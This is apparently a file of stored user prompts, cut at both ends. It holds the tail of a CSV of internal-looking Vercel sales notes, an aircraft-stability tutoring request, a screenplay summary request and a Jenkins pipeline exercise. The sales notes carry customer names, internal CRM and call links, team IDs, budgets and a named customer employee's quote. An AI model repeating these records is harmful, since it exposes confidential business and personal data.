actually need to push anything to production at this point as they are just starting their transition to Next and Vercel. So they would rather just get a pro account and pay as they go until they more bandwidth... Essentially dont want to pay 28k just for support,Unknown,"No team on the opp, I will dig for it ",\nMetaStreet,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7uMQQAZ/view,https://app.gong.io/call?id=3387264884721665343,Moving from Netlify to vercel since Netlify is trying to push them into an enterprise contract. We met because they wanted to know more about our contractual terms for enterprise. They specifically asked if we had a tier between pro an enterprise. In the call recording I asked them how they would structure it if we did.,only 3-5k/year,"No team on the opp, I will dig for it ",team\\_KcesVwnMNkAtwzue1ptOT05A\nMaket,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7VULQA3/view,,Inbound from PA team. Connected with the CTO who was only interested in Enterprise for increased support for their dev team. They are a small startup and can\'t justify the price increase from $60/month to Enterprise levels right now. The CEO said they would be staying on Pro as it is currently sufficient for their needs.,,"No team on the opp, I will dig for it ",team\\_G8w4f47AoUovtDqMRoP4dkeQ\nTitan Invest,Vishal,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6rjzQAB/view,,This was a team seats ovager use case sourced by our PA team. Connected with the Eng Dir who\'d mentioned via email they\'d like to upigrade to Enterprise but didn\'t want to increase spend by an exponential amount. They wanted better Support and faster build times. They also value the better Uptime. ,$18k,Avg $1080,team\\_6Qt2a8e0CcctESArcHoYNlYi\nWith Power,Vishal,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001IppV6QAJ/view,,"Fintech startup beginning to migrate things onto Next.js and Vercel. They came to us with a blocker around SSL certs but also were eager to learn more about the infrastructure piece. They value the developer workflow and from a business standpoint care about SEO. Pricing wise since they are early stage, they wouldn\'t consider a move to ENT til Q1/2 of next year at the earliest. They project to grow 10-15% MoM over the next 6-12 months and are already hitting some usuage limits on Pro.",$18-20K,Avg $600,team\\_z6PyOScFsygsQaghuZJjwYL0\nAlcion,Austin ,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7jrHQAR/view,,Small startup company that needed security features. They only need around 10/20 GB of bandwidth and a very low amount of serverless if any at all. They\'re considering looking at Enterprise in a few months ,$18-20k,0,\nBambee,Ben,https://vercel.lightning.force.com/lightning/r/0064V00001FAtlPQAT/view,,Lead came from the PA team. Was unhappy with the service from Netlify and was looking into Vercel. Netlify ended up winning them as customers because they were able to price them for 15 team seats for around $100-$150 per seat.,$18-20k,"No team on the opp, I will dig for it ",\nIndigov,Aaren,https://vercel.lightning.force.com/lightning/r/Account/0014V00002Fdrq9QAB/view,,Lead came in from PA - Indigov works with government agencies so was curious about additional security (SSO & DDOS protection) but they were only using us for mostly pre- production (I believe host most of their site on AWS) so couldn\'t justify the cost to jump to enterprise ,$10k ,$500,team\\_wzGvjqx81cgRXxVPXHBcadSA\nAavegotchi,Kyle,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FAFBJQA5/view,,"Lead initially came in as a current Pro customer and started as a billing conversation that never really transpired. DevOps Engineer cancelled a follow up meeting stating ""We\'ve recently moved all our static assets to S3, thus our Vercel bandwidth usage has been lower."" Their cost/month on Pro wasn\'t too far off from Enterprise initially. ",,,\nLiveBlocks,Kyle,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FB2zsQAD/view,,"They were hitting limits on their Gip Repo projects at 10 but we were willing to give them a heavy discount due to partnership potential. We eventually lifted the limits and they stayed on Pro but the COO was willing to pay around $20,000 annually before CTO threatened to do the same thing on Netlify for much cheaper. ",,,\nLooplex,Kyle,https://vercel.lightning.force.com/lightning/\\_classic/%2F0694V00000L0yOfQAJ,,Churned to Pro because they weren\'t using any of the Enterprise features and had a bad support experience. ,,,\nEthPass.xyz,Kyle,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6ZATQA3/view,,Originally interested in 2FA authentication. Biggest pain point was with Edge Functions. Can\'t use node.js middleware and patching a bunch of libraries to get middleware to work. Multi-region was also of interest but they were priced out of ENT and wouldn\'t consider it until they are more mature. ,,,\nTRBL,Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FA5vMQAT/view,,"They originally met with us because they wanted more developer seats, more concurrent builds, and analytics & data points. After an initial discussion they decided to hold off for now & continue to utilize Pro.",,,\nRoon (Carespace),Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001IpsctQAB/view,,He was only meeting with us for Enterprise level support. He had a website launch in 2 days & wanted to make sure he had the support needed. Upon finding out ENT pricing he decided to stay on Pro. I asked if I could get $25K approved would he consider. He stated that maybe if it was half of that price. (8 employees & still on Pro),$12-15K,$210,\nPetcoin,Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FAkyEQAT/view,,Just wanted to inquire about Enterprise & the security features. Decided to stay on Pro until their company is actually making money. Haven\'t offically launched,,$60,\nStrike,Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7NtsQAF/view,,They literally only wanted an Enterprise quote. Also asked if it was possible to get 2FA as an add-on per month instead of upgrading to EN from Pro.,,,\nDNS Filter ,Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001F9FdWQAV/view,,"Disliked Netlify & switched over to Vercel Pro. Took an ENT call to get pricing as they were interested in Enterprise level support, RBAC, & SSO. Ultimately chose to stay on Pro because of their amount of users & ENT features weren\'t a neccessity at this time. ",,$230,\nFintual,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7JOhQAN/view,,"once I told him the price, he immediately said that pro should be enough for him, he said he is willing to work around the sso stuff so that they dont have to pay that much. ""one day we will be enterprise clients""",Forgot to ask,60,\nMovie Pass,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H8D6FQAV/view,,"Can I get your feedback on something? \n\nI know last week we talked about an enterprise plan (starts at $36k/year). It seems like the consensus was that a full enterprise plan at that price doesn\'t make sense just yet. \n\nWe are considering piloting an ""enterprise starter plan"" which would still get you all of the benefits of the enterprise plan, but wouldn\'t be as big of a commitment. (likely 15k/year instead of 36k). With the enterprise starter plan, you\'d still have enterprise support, but you wouldn\'t have a dedicated Customer Success rep. \n\nIs this something Moviepass would consider? (any feedback as to why or why not would be very helpful as we are testing the market for this)\n\nCustomer:\n""Apologies for the delay, just digging myself out of emails now. \n\nI think a big benefit for us on an Enterprise plan is the peace of mind knowing if a critical issue came up, we\'d have firmer SLAs in place. That would likely be a big enough use case for us as we continue to grow. \n\nWe\'re currently still making a determination about how much resourcing we\'re devoting to web in the short-term, which would impact whether we\'d want to consider that. \n\nHope this helps.",,,\nSpecial Offer,Ben,https://vercel.lightning.force.com/lightning/\\_classic/%2F0064V00001FAgisQAD,,The pricing of enterprise was too high (part of this was due to a miscalculation when estimating their bandwidth and we came back with a quote that was extremely high - 120k). Losing this deal is likely more due to the fact that we wrongly estimated their bandwidth.,36k-45k (difiicult to say because they are an agency),,\nGluskin Sheff,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6x22QAB/view,https://app.gong.io/call?id=8497298647419571325&highlights=%5B%7B%22type%22%3A%22SHARE%22%2C%22from%22%3A415%2C%22to%22%3A471%7D%5D,"Check out the gong snippet - they word for word ask us if we have anything in between pro and ent. ""We felt a little uncomfortable in aligning our needs against one of your offered tiers – Pro not including enough support/SLAs and Enterprise being too advanced for our needs and north of what we could eventually justify from a pricing perspective.""",,,\nSpordle,Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FATaiQAH/view,,"""We are actually going through the process of testing and switching our projects to NextJS and Vercel on the Pro Plan. The Pro plan is enough for what we need as of now."" - Shaun Cooper of Spordle",,$140,https://vercel.lightning.force.com/lightning/r/Team\\_\\_c/a0E4V00000QIk4yUAD/view\nThresholds.io,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001L4oaCQAR/view,,"Really appreciate the discount. However, for this one feature we need, it doesn\'t make sense for us to increase our cost by over 2000%. Let\'s push off on our next meeting but I\'ll be sure to reach out again at a time when it makes more sense to take on that cost.",$10k,,' +'You are a a well accomplished educational tutor. You teach concepts from ground up and ensure your tutee has understood the concept in the best way possible. You take inputs from the tutee containing his study material and present it in a well understandable format, using the best tutoring practices for making your tutee excel in his university exams. Today, I need you to teach Longitudinal and Lateral-Directional Stability in aircrafts. I shall be providing you slide by slide content and you shall begin your tutoring accordingly. The syllabus for the upcoming test is lectures 10-15. The content of the 10th lecture is as follows:\n```\nSlide 1:\nLongitudinal Static Stability\nRecall that the eigenvalues of the short period (SP) dynamics are given by\n$$\n\\lambda^2-M\\_q \\lambda-M\\_\\alpha=0\n$$\nHorizontal tail and the wing "stabilize" $M\\_q$\nHT "stabilizes" $M\\_\\alpha$, but the wing does not necessarily do as much\nToday\'s class: a closer look at $M\\_\\alpha$\n- Static stability and $M\\_\\alpha$\n- Stability metric: static margin\n- Stick-free and stick-fixed static stability\n\nSlide 2:\nReview of Stability\nSo far: an aircraft is stable if it rejects a disturbance; i.e., the aircraft\nreturns to the intended equilibrium as t goes to 1\nA di↵erent perspective on stability: when the aircraft is disturbed from\nthe equilibrium, do the forces and moments instantaneously try to restore\nthe equilibrium?\nStrictly speaking, the initial response\nType of disturbance: perturbation in the position of the aircraft\nAnalogy motivated by the classic example of a ball and a\ncurved surface\n\nSlide 3:\n- Formal definition: a system is statically stable if, upon a disturbance $\\Delta x$, the force $F$ produced by the system is such that $F \\cdot \\Delta x<0$\n- This is considered to be a necessary condition for stability (in the sense of asymptotic convergence to equilibrium)\nExample (spring-mass system): let $\\ddot{x}=F=-k x$, where $k>0$\n- Clearly, $x \\cdot F=-k x^2<0$. Hence, the system is statically stable\n- Eigenvalues: $\\lambda= \\pm i \\sqrt{k} \\Longrightarrow$ the system is marginally stable\n\nSlide 4:\nExample (spring-mass system): let ̈x = F = 2 ̇x - x, with the initial\n\ncondition x(0) = 0.1, x ̇(0) = 0\nThe initial force F(0) =\n\nx(0), and x(0) · F(x(0)) < 0.\n\nThe system is statically stable\nEigenvalues:\n\n\\lambda = 1 the system is unstable\n\nThus, static stability is not a sufficient condition for stability\nStatic stability is determined only by the stiffness of the system\nWhy bother about static stability?\n-Historical evolution of ideas\n-Design parameters\n\nSlide 5:\nFramework for Longitudinal Static Stability\n\nSet lateral-directional variables to zero\nAssume \\alpha is small\nAnalysis for the wing, followed by wing + HT\n\nSlide 6:\nSingle Wing: Trim\n- Suppose the wing $A C$ is at a distance $x\\_{A C}$ from the CG of the aircraft. We first determine the trim $\\alpha$ by setting $M^0=0$ (about the CG)\n$$\n\\begin{aligned}\n& \\frac{1}{2} \\rho V^2 S\\left(c C\\_{m\\_{A C}}+x\\_{A C}\\left(C\\_{L\\_0}+C\\_{L\\_\\alpha} \\alpha^0\\right)\\right)=0 \\\\\n\\Longrightarrow \\quad & \\alpha^0=-\\frac{c C\\_{m\\_{A C}}+x\\_{A C} C\\_{L\\_0}}{x\\_{A C} C\\_{L\\_\\alpha}}\n\\end{aligned}\n$$\nTrimmed value of lift (with $C\\_{m\\_{A C}}<0$ )\n$$\nL^0=\\frac{1}{2} \\rho V^2 S\\left(-\\frac{c C\\_{m\\_{A C}}}{x\\_{A C}}\\right) \\begin{cases}>0, & x\\_{A C}>0 \\\\ <0, & x\\_{A C}<0\\end{cases}\n$$\n\nSlide 7:\nSuppose the AoA is perturbed by $\\Delta \\alpha$ (small). The instantaneous pitching moment is given by\n$$\n\\Delta M=x\\_{A C} L\\_\\alpha \\Delta \\alpha\n$$\nStatic stability: need $\\Delta \\alpha \\cdot \\Delta M<0$, i.e., $x\\_{A C}<0$\nCondition for static stability of a wing: wing must be behind the CG\nBut we need $x\\_{A C}>0$ for positive lift!\nTwo ways to tackle this problem:\n- Use a flap and active control\n- Use a horizontal tail\n\nSlide 8: Trimming with a Horizontal Tail\nLet $\\alpha^0$ be the trim angle of attack of the aircraft. We will assume that:\nThe wing inclination angle $i\\_w=0$ and the tail is symmetric\nThe tail incidence angle $i\\_t$ can be varied as a control input\nThe effect of downwash is negligible\nThe lift on the tail is given by\n$$\nL\\_t=\\frac{1}{2} \\rho V^2 S\\_t C\\_{L\\_\\alpha}\\left(\\alpha+i\\_t\\right)\n$$\nNote: if the tail has an elevator instead of variable $i\\_t$ as the control input, then\n$$\nL\\_t=\\frac{1}{2} \\rho V^2 S\\_t\\left(C\\_{L\\_\\alpha}\\left(\\alpha+i\\_t\\right)+C\\_{L\\_{\\delta e}} \\delta\\_e\\right)\n$$\n\nSlide 9:\nAt trim, $M=M^{\\text {wing }}+M^{\\text {tail }}=0$ about the $C G$; i.e.,\n$$\n\\begin{aligned}\n& M^{\\text {wing }}+L^{\\text {wing }} x\\_{A C}=I\\_t L^{\\text {tail }} \\\\\n\\text { Thus, } & x\\_{A C}\\left(C\\_{L 0}+C\\_{L\\_\\alpha} \\alpha^0\\right)+c C\\_{m a c}=\\frac{I\\_t S\\_t}{S} C\\_{L\\_\\alpha}\\left(\\alpha^0+i\\_t\\right) \\\\\n\\text { i.e., } \\quad & \\frac{x\\_{A C}}{c}\\left(C\\_{L 0}+C\\_{L\\_\\alpha} \\alpha^0\\right)+C\\_{m a c}=V\\_H C\\_{L\\_\\alpha}\\left(\\alpha^0+i\\_t\\right)\n\\end{aligned}\n$$\nThe trim $A \\circ A$ is given by\n$$\n\\alpha^0=\\frac{1}{\\left(V\\_H-x\\_{A C} / c\\right) C\\_{L\\_\\alpha}}\\left(\\left(x\\_{a c} / c\\right) C\\_{L 0}+C\\_{m a c}\\right)-\\left(\\frac{V\\_H}{V\\_H-x\\_{A C} / c}\\right) i\\_t\n$$\nUsually, $V\\_H>x\\_{A C} / c$. Therefore, as $i\\_t$ increases (i.e., deflects downwards), the trim $\\alpha^0$ reduces, and vice-versa.\nTherefore, the tail-based control surface allows the aircraft to trim across a wide range of values of lift (and flight speeds). The same principle applies to elevator-based control.\n\nSlide 10: Static Stability\nSuppose that the angle of attack is perturbed by a small $\\Delta \\alpha$. Then,\nChange in lift on the wing: $\\Delta L^w=\\frac{1}{2} \\rho V^2 S C\\_{L\\_\\alpha} \\Delta \\alpha$\nChange in lift on HT: $\\Delta L^t=\\frac{1}{2} \\rho V^2 S\\_t C\\_{L\\_\\alpha} \\Delta \\alpha$\nNet change in pitching moment\n$$\n\\Delta M=\\Delta L^w x\\_{A C}-\\Delta L^t I\\_t=\\frac{1}{2} \\rho V^2 S c C\\_{L\\_\\alpha} \\Delta \\alpha\\left(\\frac{x\\_{A C}}{c}-V\\_H\\right)\n$$\nNeed $\\Delta \\alpha \\times \\Delta M<0$ for static stability\nAircraft is longitudinally statically stable only if $V\\_H>\\frac{X\\_{A C}}{c}$\n\nSlide 11: Interpreting the Static Stability Condition\nStatic stability condition: $V\\_H>X\\_{A C} / C$\nThe critical location of the $C G$ at which $c V\\_H=x\\_{A C}$ is called the neutral point (NP)\n- CG ahead of NP: statically stable\n- CG behind NP: statically unstable\nIf the whole aircraft were viewed as a single wing, then the NP corresponds the location of the $A C$ of the complete aircraft\nWe define the static margin:\n$$\n\\mathrm{SM}=\\frac{x\\_{N P}-x\\_{A C}}{c}\n$$\nAn aircraft is loaded on the ground with payload and fuel so that the static margin never decreases below a threshold\n```\n\nNow get started with your tutoring for lecture 10' +'Below are the next ten pages of the screenplay "Ruby Tuesday". Please summarize the below part of the story: \n\nAnd I’m the only one in there, so I\nget to be the one to fix all the\nproblems. To take care of it. To\nmake sure it’s everything it could\nbe.\nMIN\nSo you like being in charge?\nRUBY\nOh no, I’m not in charge. Brian is\nthe manager. Was the manager...\nRuby shudders away the painful memory.\nRUBY (CONT’D)\nYou know the person with the most\nemployee-of-the-month awards in\nSafeway company history actually\nworked in American Falls at Alpha\nSafeway.\nMIN\nMaybe you’ll get to meet them.\nRUBY\nI doubt it. They haven’t gotten an\naward in the last three years, I’m\nguessing they retired or something.\nMIN\nWell then when you get a job at\nAlpha Safeway, maybe you’ll finally\nbeat them.\nRuby smiles. They stare back up at the sky as a roadsideassistance\ntruck with its lights on approaches from behind.\nRUBY\nYou think they have grocery stores\nin space?\nMIN\nYeah. Grocery stores are universal.\nINT. CAR ON SIDE OF HIGHWAY – EVENING\nRuby immediately buckles herself in.\nRUBY\nIf we leave now, we can get to\nJasmine’s just an hour after\nsundown.\n\nRUBY (CONT’D)\n61.\nIf we blast cold air and sing show\ntunes, I can probably avoid a\nnarcoleptic episode.\nMIN\nWe can just get there tomorrow.\nRUBY\nReally?\nMIN\nYeah. I am having fun on this road\ntrip.\nRUBY\nYou…you are?\nMin nods.\nRUBY (CONT’D)\nWell then, where shall we stay\ntonight?\nCUT TO:\nEXT. ROAD - EVENING\nThe purple stallion drives past a sign that reads “Welcome to\nRichfield, Utah!”\nEXT. HOLIDAY INN – EVENING\nRuby closes the trunk of the car looking up at the hotel. Min\nleads the way.\nINT. HOLIDAY INN LOBBY – EVENING\nMin enters, holding his mess of clothes sans suitcase. He\napproaches the front desk and waits for an attendant.\nRUBY\nI’ve never been to a Holiday Inn\nbefore, this is exciting!\nMIN\nCalm down.\nRuby is taken aback. She looks to Min, and the faintest grin\ncrosses his face. Did Min really…make a joke?\nJust then, a HOTEL EMPLOYEE comes to the counter.\n\n62.\nHOTEL EMPLOYEE\nChecking in?\nMIN\nYes.\nHOTEL EMPLOYEE\nLast name?\nMIN\nMin.\nRUBY\nWait…Min is your last name?\nMin nods.\nRUBY (CONT’D)\nWait, then what’s your-\nHOTEL EMPLOYEE\nYour room number is listed on the\nkey holder. Breakfast is served\nfrom 6 to 11, and the bar is open\nuntil midnight.\nMIN\nThe bar?\nHOTEL EMPLOYEE\nYep! Right behind you.\nThe employee points to a modest, empty bar with a female\nbartender cleaning glasses behind the counter.\nMIN\nRuby, I have an idea.\nRuby looks on, half confused and half concerned.\nCUT TO:\nINT. HOLIDAY INN BAR – EVENING\nMin and Ruby approach the bar to find JETT, a 30-something\ngoth-turned-barkeep. She’s edgy, intimidating, and nothing at\nall like our two beloved heroes.\nJETT\nHey guys, what can I get ya?\n\n63.\nMIN\nI’d like to get my friend Ruby\ndrunk.\nRUBY\nOh, I don’t know about that. IMIN\nShe went to a party. It didn’t go\nwell. And now I’d like to recreate\nthe party atmosphere.\nJETT\nThat’s the spirit! Here, first\nround’s on the house.\nJett pours three shots of tequila.\nRUBY\nOh no, we can pay for them. I\nwouldn’t want you getting in\ntrouble with your manager for\npouring shots free of charge.\nJETT\nBelieve it or not, I actually own\nthis hotel. I just like working at\nthe bar, too. Cheers!\nJett throws the shot back like it’s water. Ruby, still\nshocked from Jett’s owner status, takes the shot in that\nbumbly sorta way beginners do. Ruby fails to hide her\ndisgust, Min looks delighted by the taste.\nRUBY\nHow come you didn’t ID us?\nJETT\nYou’re twenty six, he’s twenty\neight.\nThey both stand in awe. Ruby quickly turns Min around to\nwhisper and confer.\nRUBY\nAre you twenty-eight?\nMIN\nYes. Are you twenty-six?\nRUBY\nYes.\nThe two turn back around to face Jett.\n\n64.\nJETT\nIt’s the gift of a bartender. With\nenough practice, you pinpoint\nsomeone’s age down to the month.\nNow you guys drinking with me or\nwhat?\nRuby looks towards Min, unsure, until she sees Min’s face\nbreak into a smile. She can’t help but smile in return.\nINT. HOLIDAY INN BAR – LATER\nEmpty glasses on the counter with soaked napkins and semisucked\nlime wedges.\nRuby. Is. Drunk. Slurred speech, giggles, the whole shebang.\nMin looks like he’s vibing as well.\nRUBY\nYou guys wanna hear a secret?\nJett looks on with a sort of maternal pride.\nJETT\nWhat s your secret, sweetheart?\nRUBY\nI think Safeway overcharges for its\nfine cheeses.\nJETT\n(sarcastically)\nNoooo.\nRUBY\nShhh, don’t tell them I said that.\nI also think the self-checkout\nmachines are total bologna. They\nmalfunction every time you use\nthem.\nRuby smirks and covers her mouth, as if she just revealed\nsome controversial gossip. Min looks at her with shock.\nMIN\nI don’t like the way my hands smell\nafter I leave work.\nJett looks like she’s having a field day with these two.\nRUBY\nThank you for sharing that Min.\n\n65.\nMin gently sniffs his fingertips.\nRUBY (CONT’D)\nJett?\nJETT\nYes Ruby?\nRUBY\nTeach me your age-identifying ways.\nI never want to sell to another\nminor for as long as I live, if I’m\nso lucky as to work in alcohol\nsales again one day.\nJETT\nIt’s pretty easy once you get the\nhang of it. We just need some\npeople to practice on.\nRUBY\nThere’s nobody here.\nJETT\nI know. Follow me.\nCUT TO:\nINT. HOLIDAY INN HALLWAY – NIGHT\nJett and her two drunk puppies follow her down a hallway of\nrooms. Jett pulls out her official Holiday Inn name tag from\nher back pocket.\nJETT\nYou’d be surprised how powerful\nwearing a name tag makes you.\nRuby looks to Min in total fangirl mode. Jett knocks on a\nrandom door and out comes a TIRED WOMAN in a nightgown.\nJETT (CONT’D)\nGood evening ma’am, we’re so sorry\nto wake you at this hour. Do you\nhappen to have your ID on you?\nTIRED WOMAN\nMy ID?\nJETT\nYes, standard hotel procedure. Just\nwant to make sure everyone is in\nthe right room tonight.\n\n66.\nTIRED WOMAN\nUh, sure. Let me go get it.\nTired woman retreats into her room.\nJETT\nQuick, how old do you think she is?\nRUBY\nWhat? I don’t know! I haven’t seen\nher ID yet.\nJETT\nShe’s obviously a recent forty-two.\nCrow’s feet, hair roots, but with a\nslight glimmer of youth, the signs\nare all there.\nTired woman returns and hands over her ID to Jett. She takes\na quick look then hands it back.\nJETT (CONT’D)\nAlright, looks good Mrs. Krieger!\nHave a nice night!\nShe closes the door, Jett leads the other two away.\nRUBY\nWell?\nJETT\nShe turned 42 six weeks ago. Let’s\nmove, I have a lot to teach you.\nMONTAGE:\n- An old woman stares confusedly at Ruby. She writes 53 on\nher piece of paper. Jett looks appalled by the guess.\n- Ruby stares at a young man covered in tattoos and\npiercings. She writes 14, Jett shakes her head no.\n- A mother holding her baby stand impatiently. Ruby writes\n“Mom - 60. Baby - Under 21 (I think).” Jett sighs heavily.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA frustrated Ruby crumbles a piece of paper and throws it on\nthe ground.\n\n67.\nRUBY\nWe should just stop. I’m never\ngoing to be able to properly\nidentify a patron’s age.\nJETT\nNot with that attitude you’re not.\nMaybe we just need to get a little\nmore liquid confidence in ya.\nRUBY\nYou mean more alcohol?\nJett gives her a knowing look.\nCUT TO:\nINT. HOLIDAY INN BAR – NIGHT\nMore shots. More puckering faces. More uncontainable giggles.\nRuby reaches into her pocket, pulls out her name tag, and\nfastens it to her shirt.\nMONTAGE:\n- Two bikers in their 50s stand angrily in a doorway. Ruby\nwrites “Above 21” and Jett encouragingly nods. She turns back\ntowards the bikers and fearfully shuts the door.\n- A father and his son await Ruby’ verdict. She writes “16-18\nand 45-50.” Jett’s jaw drops and nods again.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA YOUNG MAN stands tired in the hallway, Ruby stares at him\nwith wicked intent.\nYOUNG MAN\nThis doesn’t make any sense, why do\nyou need to-\nJETT\nShush! Alright Ruby, above or below\ntwenty-one.\nRUBY\nUmmm...\nShe squints at the man. He’s viscerally uncomfortable.\nRUBY (CONT’D)\nHold your horses.\n\n68.\nShe steps closer to the man and squints more intensely.\nRUBY (CONT’D)\nHe’s twenty one on the dot!\nJett checks the man’s ID and smiles.\nJETT\nTurned twenty one last month.\nRUBY\nWell sir, you are able to legally\npurchase alcohol any time you like.\nRuby does an uncoordinated happy dance to herself\nMIN\nAnd your favorite deli meat is\nhickory-smoked ham.\nEveryone turns towards Min. He looks disheveled, and he’s\nwearing a pair of sunglasses from god knows where. He tips\nhis sunglasses down to make eye contact with the man.\nYOUNG MAN\nI…I do love hickory smoked ham.\nMin pushes his shades back up and walks away. An ecstatic\nRuby and Jett follow behind.\nINT. RUBY AND MIN’S HOTEL ROOM – NIGHT\nRuby and Min stumble in the room with Jett’s loving\nassistance. They’re giggly as hell.\nRUBY\nI can’t believe this is what being\ndrunk feels like.\nJETT\nPretty fun, isn’t it?\nRUBY\nFun? Are you kidding me? I’m\nunstoppable!\nRuby tries zooming around the room at what feels like hyperspeed,\nbut all we see is Ruby slowly bumping into furniture.\nInterrupting Ruby’s super-sonic sprints are the sudden sounds\nof Min’s flute. By the sounds of it, he’s playing “Girls Just\nWant to Have Fun” by Cyndi Lauper.\n\n69.\nJETT\nAs much as I want to keep this\nparty alive, I better get home.\nRuby gives Jett a giant, warm hug.\nRUBY\n(into Jett’s ear)\nThank you for helping me.\nJETT\nGood luck at Alpha Safeway. And\ndrink lots of water tonight, okay?\nRUBY\nWhy?\nJETT\nWell, if you don’t, you’ll wake up\nwith a really bad-\nCUT TO:\nINT. HOTEL BATHROOM – MORNING\nRuby stands in the mirror, deeply hungover. She’s never had\none before, and it shows. Every routine morning preparation\nis draining the life out of her.\nINT. HOTEL ROOM – MORNING\nRuby exits the bathroom to find Min spooning his flute.\nRUBY\nMin.\nHis eyes instantly open.\nRUBY (CONT’D)\nDo you feel sick too?\nMIN\nLet me see.\nHe sits up and contemplates for a bit. He slowly stands,\ntakes some cautious steps towards the bathroom, and gently\ncloses the door on Ruby. And then-\nThe unmistakable sound of hungover puking. Ruby rubs her\ntemples as he finishes what he must do.\nThe door reopens.\n\n70.' +'believe you are an SRE and Docker instructor. You have a task to build an activity to build the docker containers for the application. Do a minor change, create two Jenkins jobs, one for the regular DEV container building, and a second one for the PROD promote”. Keep in mind, to provide a Jenkins file for container creation. Use Groovy language. Make sure to follow the same approach as SRE material in the following material: \nIn this activity, we will code a Jenkins pipeline from scratch, so that you get to understand the layout of the file and the sections.\n\nThis is for demonstration purposes only and does not actually build anything like the activity that will build the orderbook application.\n\nScenario\nYou\'ve been asked to code a Jenkins pipeline into Jenkins that will pull the file from a Git repository and then run it.\n\nAs with all DevOps activities, Git is a core part: it is essential for historic changes and to ensure that if we lose our server, we can simply recreate jobs/tasks.\n\nOnce you have created the Jenkinsfile in Git, you will then create a Jenkins job to build/run the pipeline.\n\nIf you are familiar with using an IDE (Integrated Development Environment) such as Atom, IntelliJ, Visual Studio, or Visual Studio Code, you can use that IDE to code the pipeline and to work within your Git repository. The actions in the step-by-step will still be command-line based.\n\nStep-by-step\nGet the Git repository\nFirst, let\'s get to a suitable place in a Git repository we have access to.\n\nUsing https://github.com/The-Software-Guild/sre-git-refresh where you worked on your Git activities, we want you to now use the same directory to create a simple Jenkins pipeline.\nFirst, we need to identify where we are, as we need to be in the sre-git-refresh directory.\nOn Windows\n\ncd\ncd Documents\ncd sre-git-refresh \nOn Linux/Mac\n\ncd\ncd sre-git-refresh\nMake sure you are on your branch:\n\ngit checkout c124steves\nChange into your directory for the project, e.g.:\n\ncd c124steves\nNow we will create the pipeline file called Jenkinsfile:\nOn Windows\n\nnotepad Jenkinsfile\nOn Linux/Mac\n\nvim Jenkinsfile\nIf you don\'t like VI, and you have nano, just change vim to nano.\n\nTo start typing in the code, press i.\n\nTo finish and save do:\n:wq\nJenkinsfile content\nNow let\'s create the pipeline file contents.\n\nThe type of Jenkinsfile we are creating is called a declarative pipeline. This is handy to know if you are Googling for what to put in there, or what other fancy things you can do with a Jenkinsfile.\n\nThe contents of the file is encased in:\n\npipeline {\n \n }\nFor a Jenkins pipeline to execute, it must have an agent to run on. In our environment we have an already available container called kaniko which our DevOps have created and made easy to access. This makes our life easier as our agent is labelled kaniko so we can use a label rather than a complete definition. Below you will see that we\'ve added the agent and label code inside our pipeline block.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n }\nNow that we have the agent that our commands will run on, we can start to add stages. A pipeline will generally consist of one or more stages. So we will add a stages section to our code first as all stage definitions will be contained within the stages block.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n stages {\n \n }\n }\nLet\'s add a stage to our pipeline and call it Task 1.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n stages {\n stage("Task 1") {\n \n }\n }\n }\nNow that we have the stage, let us make it do some work by adding a step with some Linux Shell code to print/echo out Compiling code.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n stages {\n stage("Task 1") {\n steps {\n sh """\n echo "Compiling code"\n """\n }\n }\n }\n }\nNow let\'s add a second stage to our pipeline. We’ll call it Task 2 and it will print out Testing code.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n stages {\n stage("Task 1") {\n steps {\n sh """\n echo "Compiling code"\n """\n }\n }\n stage("Task 2") {\n steps {\n sh """\n echo "Testing code"\n """\n }\n }\n }\n }\nWe now have a pipeline of two stages, both using the Shell echo statement to print out the text.\n\nLet\'s finally add a polling element to the pipeline, so that if our Git repository changes, it will run the pipeline without having to press a button.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n stages {\n stage("Task 1") {\n steps {\n sh """\n echo "Compiling code"\n """\n }\n }\n stage("Task 2") {\n steps {\n sh """\n echo "Testing code"\n """\n }\n }\n }\n triggers {\n pollSCM(\'\\*/10 \\* \\* \\* 1-5\')\n }\n }\nThe triggers section we have added tells Jenkins to poll the Git repository every 10 minutes Monday to Friday inclusive.\n\nNow save your file and quit the application.\n\nRemember for Linux/Mac\n:wq\nIMPORTANT: Windows\n\nMake sure that you change the file extension from saving as .txt to \\*.\\* so that it does not add any extension to the file.\nAdding your code to Git\nNow that we have our file, we need to get it onto GitHub.\n\nStage your changes.\n\ngit add --all\nCommit to history.\n\ngit commit -m "Steves Jenkins Pipeline"\nPush to the remote repository, so that Jenkins will be able to see it.\n\ngit push\nCheck that your Jenkinsfile is there by going to https://github.com/The-Software-Guild/sre-git-refresh\n\nSelect your branch by clicking on the pull-down to the left of the screen which should contain the word main.\n\nRemember you can type in the name of your branch to make it easier to find.\n\nSelect your directory.\nCheck that the file Jenkinsfile is there.\nAdding to Jenkins\nNow we will make a Jenkins job that will be able to run your Pipeline.\n\nPoint your web browser to https://jenkins.computerlab.online\nMake sure you are logged into GitHub on that browser.\nClick New Item to the top left of the window.\nIn the text box under Enter an item name type in cXXXyourNamesimple\nWhere cXXX is your course code\nyourName is your firstname 